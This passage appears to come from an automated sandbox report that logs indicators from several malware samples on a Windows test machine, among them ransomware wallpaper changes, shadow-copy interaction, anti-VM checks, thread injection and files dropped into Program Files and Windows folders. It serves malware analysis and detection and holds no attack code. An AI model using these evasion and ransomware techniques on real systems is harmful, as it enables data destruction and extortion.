File created C:\Windows\System32\sppuinotify\VSSVC.exe C:\Users\Admin\Desktop\6.exe N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\desktop C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\steam C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\documents C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\System32\sppuinotify\VSSVC.exe C:\Users\Admin\Desktop\6.exe N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\the bat! C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File created C:\Windows\System32\kstvtune\101b941d020240259ca4912829b53995ad543df6 C:\Users\Admin\Desktop\6.exe N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\bitcoin C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File created C:\Windows\System32\kstvtune\lsm.exe C:\Users\Admin\Desktop\6.exe N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\thunderbird C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp42F9.bmp" C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected] N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1840 set thread context of 1060 N/A C:\Users\Admin\Desktop\7.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\Desktop\8.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\PROGRA~2\WI54FB~1\wmlaunch.exe C:\Windows\svchost.com N/A
File opened for modification \??\c:\program files (x86)\the bat! C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\FLTLDR.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\ink\mip.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~2\ACCESS~1\wordpad.exe C:\Windows\svchost.com N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\AcroRd32.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification \??\c:\program files (x86)\microsoft\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\program files (x86)\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\program files (x86)\ C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\WINDOW~1\wab.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification \??\c:\program files (x86)\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~3\Windows\csrss.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\IECONT~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\INFOPATH.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MOZILL~1\UNINST~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe C:\Windows\svchost.com N/A
File opened for modification C:\PROGRA~2\INTERN~1\ieinstal.exe C:\Windows\svchost.com N/A
File opened for modification \??\c:\program files (x86)\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\A3DUTI~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\PPTICO.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~4\ImagingDevices.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\px31F9.tmp C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\SOURCE~1\OSE.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification \??\c:\program files (x86)\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\WI4223~1\sidebar.exe C:\Windows\svchost.com N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\WMPDMC.exe C:\Windows\svchost.com N/A
File opened for modification C:\Program Files (x86)\Microsoft\px342A.tmp C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Office14\MSOCFU\WINWORD.exe C:\Users\Admin\Desktop\6.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification \??\c:\program files (x86)\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\DW\DWTRIG20.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmpshare.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\Program Files\6b950ca2b8011a1e.tmp C:\Users\Admin\Desktop\8.exe N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\ODeploy.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\setup_wm.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File created C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe C:\Program Files (x86)\Microsoft\DesktopLayer.exe N/A
File created C:\Program Files\DECRYPT-FILES.txt C:\Users\Admin\Desktop\8.exe N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\ADOBEC~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\OIS.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmplayer.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WI4223~1\sidebar.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\ink\mip.exe C:\Windows\svchost.com N/A
File opened for modification \??\c:\program files (x86)\microsoft\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\program files (x86)\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOXMLED.EXE C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~4\ImagingDevices.exe C:\Windows\svchost.com N/A
File opened for modification \??\c:\program files (x86)\thunderbird C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmpshare.exe C:\Windows\svchost.com N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\microsoft\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\directx.sys C:\Windows\svchost.com N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\bitcoin C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\microsoft\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\microsoft\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\steam C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\directx.sys C:\Windows\system32\DllHost.exe N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\bitcoin C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\microsoft\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\microsoft\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\steam C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\documents C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\svchost.com C:\Windows\svchost.com N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\microsoft\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\microsoft\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\microsoft\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\steam C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\thunderbird C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\directx.sys C:\Windows\svchost.com N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\microsoft\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\thunderbird C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File created C:\Windows\system\7a0fd90576e08807bde2cc57bcf9854bbce05fe3 C:\Users\Admin\Desktop\6.exe N/A
File opened for modification C:\Windows\svchost.com C:\Windows\svchost.com N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\the bat! C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\thunderbird C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\directx.sys C:\Windows\svchost.com N/A
File opened for modification C:\Windows\directx.sys C:\Windows\svchost.com N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\microsoft\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\microsoft\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\microsoft\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\desktop C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\ C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\microsoft\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\microsoft\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File created C:\Windows\system\explorer.exe C:\Users\Admin\Desktop\6.exe N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\microsoft\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\microsoft\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\svchost.com C:\Windows\system32\DllHost.exe N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\steam C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification C:\Windows\svchost.com C:\Windows\svchost.com N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\roaming\microsoft\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\microsoft\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\microsoft\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\networkservice\appdata\local\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\local\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\serviceprofiles\localservice\appdata\roaming\the bat! C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A

Enumerates physical storage devices

Office loads VBA resources, possible macro or embedded object present

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\Desktop\8.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\Desktop\8.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\Desktop\8.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\vssadmin.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{66A25071-AF50-11EE-95F4-C273E1627A77} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff6f00000019000000f50400007e020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
